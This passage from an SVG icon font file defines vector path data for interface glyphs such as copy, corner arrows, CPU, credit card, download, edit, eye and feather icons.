d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM455.253 440.747l-56.6613 -170.24
l170.155 56.7467l56.7466 170.155l-170.155 -56.7467zM733.397 551.424l-90.4533 -271.36q-2.79224 -8.38898 -10.7056 -16.3023q-7.91345 -7.91335 -16.3024 -10.7057l-271.36 -90.4533q-6.57111 -2.19141 -13.4981 -2.19141q-17.664 0 -30.1653 12.5013t-12.5013 30.1653
q0 6.92693 2.19141 13.4981l90.4533 271.36q2.79227 8.38898 10.7056 16.3023q7.91336 7.91336 16.3024 10.7057l271.36 90.4533q6.57111 2.19141 13.498 2.19141q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -6.92694 -2.19116 -13.4982z" />
    <glyph glyph-name="copy" unicode="&#xe855;" 
d="M426.667 426.539v-383.744l-0.000183105 -0.128193q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013l0.128204 0.000192607h383.744l0.128174 -0.000192611q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653l-0.000183105 0.128193v383.744
l0.000183105 0.128204q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013l-0.128174 -0.000183105h-383.744l-0.128204 0.000183105q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653zM341.333 426.539l-6.10352e-05 0.128052q0 52.992 37.504 90.496
q37.504 37.504 90.496 37.504l0.128082 -6.10352e-05h383.744l0.128052 6.10352e-05q52.9919 0 90.496 -37.504t37.504 -90.496l-6.10352e-05 -0.128082v-383.744l6.10352e-05 -0.128063q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504l-0.128052 6.10352e-05
h-383.744l-0.128052 -6.10352e-05q-52.992 0 -90.496 37.504t-37.504 90.496l6.10352e-05 0.128067zM213.333 298.667h-42.6667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v384q0 17.664 12.5013 30.1653t30.1653 12.5013h384q17.664 0 30.1653 -12.5013
t12.5013 -30.1653v-42.6667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1654v42.6667q0 52.9921 -37.504 90.496t-90.496 37.504h-384q-52.992 0 -90.496 -37.504q-37.504 -37.504 -37.504 -90.496v-384q0 -52.992 37.504 -90.496
q37.504 -37.504 90.496 -37.504h42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1654q-12.5013 12.5013 -30.165 12.5013z" />
    <glyph glyph-name="corner-down-right" unicode="&#xe856;" 
d="M609.835 72.832q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-213.333 213.333
q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l183.168 -183.168zM128 725.333v-298.667q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5066h512q17.664 0 30.1653 12.5013t12.5013 30.1653
q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-512q-52.992 0 -90.496 37.504t-37.504 90.496v298.667v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5014q-12.5013 -12.5013 -12.5017 -30.1713z" />
    <glyph glyph-name="corner-down-left" unicode="&#xe857;" 
d="M414.165 439.168q13.0256 12.5805 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653q0 -17.6693 12.4922 -30.1653l213.333 -213.333
q12.5806 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6896l-183.168 183.168zM810.667 725.333v-298.667q0 -52.992 -37.504 -90.496t-90.496 -37.504h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653
t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512v0q88.32 0 150.827 62.5067q62.5067 62.5067 62.5067 150.827v298.667q-0.00262451 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1627 12.4995t-30.1626 -12.4995q-12.5013 -12.4994 -12.5044 -30.1612z" />
    <glyph glyph-name="corner-left-down" unicode="&#xe858;" 
d="M200.832 286.165q-12.5806 13.0256 -30.6897 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6897l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l213.333 213.333q11.977 12.4007 11.977 29.641
q0 17.664 -12.5013 30.1654q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6411 -11.977l-183.168 -183.168zM853.333 768h-298.667v0q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-512q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v512q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h298.667q17.6613 0.00268555 30.1607 12.504q12.4995 12.5013 12.4995 30.1627q0 17.6613 -12.4995 30.1626
q-12.4994 12.5013 -30.1602 12.5044z" />
    <glyph glyph-name="corner-left-up" unicode="&#xe859;" 
d="M567.168 481.835q12.5805 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.109 -13.0256 30.6897l-213.333 213.333q-12.4961 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4008 -11.977 -29.641
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l183.168 183.168zM853.333 85.3333h-298.667q-52.992 0 -90.496 37.504t-37.504 90.496v512q0 17.6639 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653
v-512q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067h298.667q17.6613 0.00270382 30.1607 12.504t12.4995 30.1626q0 17.6613 -12.4995 30.1626q-12.4994 12.5013 -30.1612 12.5045z" />
    <glyph glyph-name="corner-up-left" unicode="&#xe85a;" 
d="M414.165 695.168q13.0256 12.5805 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l213.333 -213.333q12.5805 -13.0257 30.6896 -13.0257
q17.664 0 30.1654 12.5013q12.5013 12.5013 12.5013 30.1653q0 18.1091 -13.0257 30.6896l-183.168 183.168zM896 42.6667v298.667q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5067h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653
t30.1653 -12.5013h512q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-298.667q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5044 30.1602z" />
    <glyph glyph-name="corner-up-right" unicode="&#xe85b;" 
d="M609.835 328.832q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6694 -12.4922 30.1653l-213.333 213.333q-12.4007 11.977 -29.641 11.977
q-17.6641 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l183.168 -183.168zM213.333 42.6667v298.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h512q17.664 0 30.1653 12.5013t12.5013 30.1653
q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-512q-88.32 0 -150.827 -62.5067t-62.5067 -150.827v-298.667q0.00271606 -17.6613 12.504 -30.1607t30.1626 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5045 30.1612z" />
    <glyph glyph-name="corner-right-down" unicode="&#xe85c;" 
d="M456.832 286.165q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013q-12.5014 -12.5013 -12.5014 -30.1653q0 -18.109 13.0257 -30.6897l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l213.333 213.333
q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1654q-12.5013 12.5013 -30.1653 12.5013q-17.2404 0 -29.6411 -11.977l-183.168 -183.168zM170.667 682.667h298.667q52.992 0 90.496 -37.504t37.504 -90.496v-512q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1654v512q0 88.32 -62.5067 150.827t-150.827 62.5067h-298.667h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6641 12.5013 -30.1653
q12.5013 -12.5013 30.1654 -12.5013z" />
    <glyph glyph-name="corner-right-up" unicode="&#xe85d;" 
d="M823.168 481.835q12.5806 -13.0256 30.6896 -13.0256q17.6639 0 30.1653 12.5013t12.5014 30.1653q0 18.109 -13.0256 30.6897l-213.333 213.333q-12.4961 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-213.333 -213.333q-13.0256 -12.5805 -13.0256 -30.6896
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0257l183.168 183.168zM170.667 0h298.667v2.84217e-14q88.32 0 150.827 62.5067t62.5067 150.827v512q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-512
q0 -52.992 -37.504 -90.496t-90.496 -37.504h-298.667q-17.6613 -0.00270844 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v2.00117e-05z" />
    <glyph glyph-name="cpu" unicode="&#xe85e;" 
d="M213.333 640.256v-512.512q0 -17.536 12.4373 -29.9733t29.9733 -12.4373h512.512q17.5405 0.0176239 29.9667 12.4439q12.4263 12.4263 12.444 29.9667v512.512q-0.0177002 17.5404 -12.444 29.9667q-12.4262 12.4263 -29.9667 12.444h-512.512
q-17.5404 -0.0177002 -29.9667 -12.444t-12.4439 -29.9667zM128 640.256q0.0176544 52.8684 37.4466 90.2974t90.2974 37.4466h512.512q52.8685 -0.0175781 90.2975 -37.4465q37.429 -37.429 37.4465 -90.2975v-512.512q-0.0176392 -52.8684 -37.4467 -90.2974
t-90.2974 -37.4466h-512.512q-52.8684 0.017648 -90.2974 37.4466q-37.429 37.429 -37.4466 90.2974zM426.667 298.667h170.667v170.667h-170.667v-170.667zM384 554.667h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256q0 -17.664 -12.5013 -30.1653
t-30.1653 -12.5013h-256v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013zM341.333 853.333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653
t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v128zM597.333 853.333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5014 -12.5013 30.1653v128
zM341.333 42.6667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5014 12.5013 -12.5014 30.1653zM597.333 42.6667
q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.6639 0 -30.1653 12.5014q-12.5013 12.5013 -12.5013 30.1653v128zM853.333 469.333
q-17.6641 0 -30.1654 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013zM853.333 256q-17.6613 0.00271606 -30.1607 12.5041t-12.4995 30.1626
t12.4995 30.1626q12.4995 12.5014 30.1606 12.5041h128q17.6614 -0.00268555 30.1608 -12.504t12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504zM42.6667 469.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013zM42.6667 256q-17.6613 0.00268555 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626
q12.4994 12.5014 30.1607 12.5041h128q17.6613 -0.00265503 30.1607 -12.504q12.4994 -12.5014 12.4994 -30.1627t-12.4994 -30.1627q-12.4994 -12.5013 -30.1607 -12.504z" />
    <glyph glyph-name="credit-card" unicode="&#xe85f;" 
d="M0 640.256l-6.42112e-05 0.127991q0 52.8331 37.3915 90.2245q37.3915 37.3915 90.2245 37.3915h768.811q52.8154 -0.0705566 90.1944 -37.4996q37.3789 -37.429 37.3789 -90.2444v-512.512l0.00012207 -0.127983q0 -52.833 -37.3915 -90.2245t-90.2247 -37.3915
h-768.811q-52.8154 0.0705616 -90.1944 37.4996q-37.379 37.429 -37.3789 90.2444v512.512h8.1488e-05zM938.667 512v128.256v0.000183105q0 17.5051 -12.3889 29.9313q-12.3888 12.4263 -29.8939 12.4792h-768.811q-17.4875 -0.0175781 -29.8638 -12.4064
q-12.3764 -12.3888 -12.3764 -29.8762l0.000198364 -0.128052v-128.256zM938.667 426.667h-853.333v-298.923q0 -17.5334 12.4041 -29.9721q12.4041 -12.4386 29.8786 -12.4386h768.811h0.000183105q17.5051 0 29.8939 12.3888t12.3888 29.8939l-0.000183105 0.127998
v298.923h-0.043396z" />
    <glyph glyph-name="crosshair" unicode="&#xe860;" 
d="M469.333 2.34667v125.653q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-125.653q126.195 14.1451 225.518 113.468q99.323 99.3231 113.468 225.519h-125.653q-17.6641 0 -30.1654 12.5013t-12.5013 30.1653
t12.5013 30.1653t30.1653 12.5013h125.653q-14.145 126.195 -113.468 225.518q-99.3231 99.3231 -225.518 113.468v-125.653q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1654v125.653
q-126.195 -14.1451 -225.519 -113.468q-99.3231 -99.3231 -113.468 -225.519h125.653q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-125.653q14.1451 -126.195 113.468 -225.518q99.3231 -99.3231 225.518 -113.468zM512 -85.3333
q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694
t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694z" />
    <glyph glyph-name="disc" unicode="&#xe861;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 213.333
q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM512 298.667q35.328 0 60.3307 25.0027
q25.0026 25.0026 25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" />
    <glyph glyph-name="delete" unicode="&#xe862;" 
d="M896 768q53 0 90.5 -37.5t37.5 -90.5v-512q0 -53 -37.5 -90.5t-90.5 -37.5h-554.667l-0.0365601 -1.56589e-05q-19.3438 0 -32.0914 14.5493l-298.667 341.333q-10.5752 12.0699 -10.5752 28.1173q0 16.0474 10.5752 28.1173l298.667 341.333
q12.7476 14.5493 32.0914 14.5493h0.0365601zM896 85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653v512q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-535.296l-261.333 -298.667l261.333 -298.667zM737.835 542.165l-256 -256q-11.977 -12.4007 -11.977 -29.641
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2404 0 29.6411 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.6641 -12.5013 30.1654t-30.1653 12.5013q-18.109 0 -30.6898 -13.0257zM481.835 481.835l256 -256q12.4008 -11.977 29.641 -11.977
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641z" />
    <glyph glyph-name="download-cloud" unicode="&#xe863;" 
d="M512.469 17.664l-140.501 140.501q-12.5805 13.0257 -30.6897 13.0257q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0257 -30.6897l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l170.667 170.667q11.977 12.4007 11.977 29.641
q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.6411 -11.977zM469.802 341.333v-384q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.504 30.1607v384
q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1607zM427.989 765.995q-21.8957 2.52179 -43.9359 2.52179q-104.256 0 -192.72 -51.408q-88.4641 -51.4079 -139.872 -139.872
q-51.408 -88.4642 -51.408 -192.72q0 -60.2512 28.2623 -134.823q28.2623 -74.5718 68.1962 -119.688q12.7385 -14.3908 31.9573 -14.3908q17.6691 0 30.1739 12.5049q12.5049 12.5049 12.5049 30.1739q0 16.1758 -10.7215 28.288q-31.099 35.101 -53.1087 93.1328
q-22.0097 58.0318 -22.0097 104.928q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.997 0 180.776 -65.8201q84.7789 -65.82 108.572 -158.822q3.41058 -13.2656 15.5182 -22.6541q12.1075 -9.38852 25.8046 -9.38852h0.0211792h53.8027
l0.176208 9.15527e-05q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661q0 -36.6912 -21.2414 -77.5956q-21.2413 -40.9044 -51.2548 -62.0098q-17.5803 -12.7787 -17.5803 -34.5126q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q13.1247 0 23.9803 7.3766
q45.0453 31.6563 76.9251 93.0254q31.8799 61.3691 31.8799 116.425q0 105.984 -75.0079 180.992q-75.008 75.008 -180.992 75.008l-0.218323 -0.00012207h-22.1013q-33.0063 93.7808 -126.266 168.201t-192.027 85.7935z" />
    <glyph glyph-name="download" unicode="&#xe864;" 
d="M85.3333 170.667v-128q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h597.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5014t-12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5018 -30.1652zM512 273.664l-140.501 140.501q-12.5805 13.0256 -30.6896 13.0256
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0257 -30.6896l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l170.667 170.667q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-17.2404 0 -29.6411 -11.977zM469.333 810.667v-597.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="droplet" unicode="&#xe865;" 
d="M301.099 501.035q-36.2357 -35.4397 -61.8808 -96.3928q-25.6451 -60.9531 -25.6451 -111.638q0 -24.255 6.64307 -57.2494t16.0295 -55.3595q34.6924 -82.4743 110.024 -132.074q75.3315 -49.6002 165.944 -49.6002q90.6243 0 165.952 49.5895
q75.3279 49.5895 110.016 132.085q9.38635 22.3649 16.0295 55.3594q6.64307 32.9946 6.64307 57.2495q0 50.6853 -25.6451 111.638t-61.8808 96.3928l-211.328 208.128zM542.165 798.336l241.493 -237.867q46.5703 -45.5641 79.5297 -123.922
q32.9595 -78.358 32.9595 -143.511q0 -31.1918 -8.54419 -73.6217t-20.6169 -71.1905q-44.5456 -106.02 -141.406 -169.789t-213.368 -63.7688q-116.495 0 -213.365 63.7615t-141.408 169.796q-12.0726 28.7604 -20.6167 71.1902q-8.5441 42.4298 -8.54414 73.6213
q0 65.1384 32.9467 143.484t79.4995 123.907l241.067 237.909q12.5713 12.3395 30.1867 12.3395q17.6153 0 30.1868 -12.3385z" />
    <glyph glyph-name="edit-" unicode="&#xe866;" 
d="M170.667 195.669v-153.003h153.003l512 512l-153.003 153.003zM712.832 798.165l213.333 -213.333q12.4922 -12.496 12.4922 -30.1653q0 -17.6692 -12.4922 -30.1653l-554.667 -554.667q-12.4938 -12.4975 -30.1653 -12.5013h-213.333q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653v213.333q0.00376892 17.6716 12.5013 30.1653l554.667 554.667q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922z" />
    <glyph glyph-name="edit" unicode="&#xe867;" 
d="M810.667 270.507v-227.84q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333q0 17.664 12.5013 30.1653t30.1653 12.5013h227.84h0.00653076q17.664 0 30.1653 12.5013
t12.5013 30.1653q0 17.6639 -12.5013 30.1653t-30.1653 12.5013h-0.00653076h-227.84q-52.992 0 -90.496 -37.504t-37.504 -90.496v-597.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h597.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v227.84
q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1604zM384 366.336v-110.336h110.336l384 384l-110.336 110.336zM798.165 840.832l170.667 -170.667q12.4922 -12.4961 12.4922 -30.1653
t-12.4922 -30.1653l-426.667 -426.667q-12.4938 -12.4975 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667q0.00372314 17.6715 12.5013 30.1653l426.667 426.667q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922z" />
    <glyph glyph-name="edit-1" unicode="&#xe868;" 
d="M170.667 323.669v-110.336h110.336l426.667 426.667l-110.336 110.336zM627.499 840.832l170.667 -170.667q12.4922 -12.496 12.4922 -30.1653q0 -17.6692 -12.4922 -30.1653l-469.333 -469.333q-12.4938 -12.4975 -30.1653 -12.5013h-170.667
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667q0.00376892 17.6715 12.5013 30.1653l469.333 469.333q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922zM128 -85.3333h768q17.6613 0.00270081 30.1608 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626
q-12.4995 12.5013 -30.1608 12.504h-768q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504z" />
    <glyph glyph-name="external-link" unicode="&#xe869;" 
d="M725.333 341.333v-256q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-469.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v469.333q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h256q17.664 0 30.1653 12.5013
t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-256q-52.992 0 -90.496 -37.504t-37.504 -90.496v-469.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h469.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v256q0 17.664 -12.5013 30.1653
t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013t-12.5015 -30.165zM853.333 725.333v-213.333q0 -17.664 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM456.832 268.501l469.333 469.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-469.333 -469.333
q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.9771z" />
    <glyph glyph-name="eye" unicode="&#xe86a;" 
d="M109.844 353.835q39.27 -60.7832 86.6133 -111.36q147.566 -157.141 315.563 -157.141q168.177 0 315.52 157.184q25.0598 26.8424 55.8755 68.2966t49.2978 73.1861q-18.4738 31.7304 -49.2772 73.1847q-30.8033 41.4543 -55.8535 68.298
q-147.411 157.184 -315.563 157.184q-168.177 0 -315.52 -157.184q-25.0596 -26.8419 -55.8754 -68.2965q-30.8158 -41.4546 -49.2979 -73.1862q8.70657 -15.0638 18.4747 -30.1653zM4.54272 403.072q11.5288 23.1399 33.6213 57.4293q42.4885 65.9629 96.0427 123.307
q172.534 184.192 377.813 184.192q205.19 0 377.813 -184.149q53.5351 -57.367 96 -123.349q21.9058 -33.9106 33.7067 -57.4293q4.5 -9.00528 4.5 -19.072q0 -10.0668 -4.49994 -19.072q-11.8008 -23.5176 -33.7067 -57.4293q-42.4679 -65.9598 -96 -123.307
q-172.534 -184.192 -377.813 -184.192q-205.19 0 -377.813 184.149q-53.535 57.3669 -96 123.349q-18.3306 27.8476 -33.7067 57.4293q-4.49988 9.00522 -4.49988 19.072q0 10.0669 4.49988 19.072zM512.02 213.333q-70.656 0 -120.661 50.0053
q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053q50.0054 -50.0053 50.0054 -120.661t-50.0054 -120.661q-50.0053 -50.0054 -120.661 -50.0053zM512.02 298.667q35.3279 0 60.3306 25.0027
q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3306 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" />
    <glyph glyph-name="feather" unicode="&#xe86b;" 
d="M230.997 42.6667l-115.499 -115.499q-12.5806 -13.0256 -30.6896 -13.0256q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.1091 13.0256 30.6896l115.499 115.499v345.003q0.00375366 17.6716 12.5013 30.1653l288 288q36.2348 36.2385 98.1476 61.8854
